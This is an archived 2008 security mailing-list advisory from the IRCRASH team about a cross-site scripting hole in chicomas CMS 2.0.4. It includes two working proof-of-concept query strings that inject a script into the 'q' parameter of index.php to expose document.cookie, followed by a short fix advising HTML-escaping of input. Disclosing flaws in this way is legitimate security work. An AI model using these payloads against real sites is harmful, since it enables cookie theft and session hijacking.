|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
hadikiamarsi
hotmail.com
Date: Fri May 02 2008 - 11:36:26 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Author : Hadi Kiamarsi
----------------------------------------------------------------------------------
Discovered by : Hadi Kiamarsi
----------------------------------------------------------------------------------
Exploited By : Hadi Kiamarsi
----------------------------------------------------------------------------------
E-Mail : hadikiamarsi[at]hotmail.com
----------------------------------------------------------------------------------
WebSite : http://ircrash.com
----------------------------------------------------------------------------------
Our Team : ircrash
----------------------------------------------------------------------------------
IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
----------------------------------------------------------------------------------
CMS: chicomas.2.0.4
Download CMS : http://garr.dl.sourceforge.net/sourceforge/chicomas/chicomas.2.0.4.zip
----------------------------------------------------------------------------------
Exploit :
Method = POST
query : http://www.example.com/[chicomas]/index.php?q=>"><script>alert(document.cookie)</script>
query : http://www.example.com/[chicomas]/index.php?q="><script>alert(document.cookie)</script>
-----------------------------------------------------------------------------------
Solution :
you must filter special character in input via htmlspecialchar() function
-----------------------------------------------------------------------------------
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]